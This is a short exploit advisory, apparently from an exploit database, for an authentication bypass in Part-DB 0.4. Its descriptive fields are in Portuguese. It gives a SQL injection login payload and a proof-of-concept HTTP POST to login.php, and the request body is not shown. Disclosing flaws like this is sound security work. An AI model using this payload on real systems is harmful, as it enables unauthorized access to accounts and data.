Part-DB 0.4 – Authentication Bypass
# Exploit Title: Part-DB 0.4 – Ignorar autenticação
# Data: 2019-10-26
# Autor: Marvoloo
# Página inicial do fornecedor: https://github.com/Part-DB/Part-DB/
# Link do software: https://github.com/Part-DB/Part-DB/archive/master.zip
# Versão: 0.4
# Testado em: Linux
# CVE: N / D
# Descrição:
# Fácil autenticação ignora a vulnerabilidade no aplicativo
# permitindo que o invasor efetue login
# url: http://localhost/login.php
# Parameter & Payload:
'=''or'
#vulnerable file: login.php Line: 29,30
#POC
POST /login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Cookie: ....
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1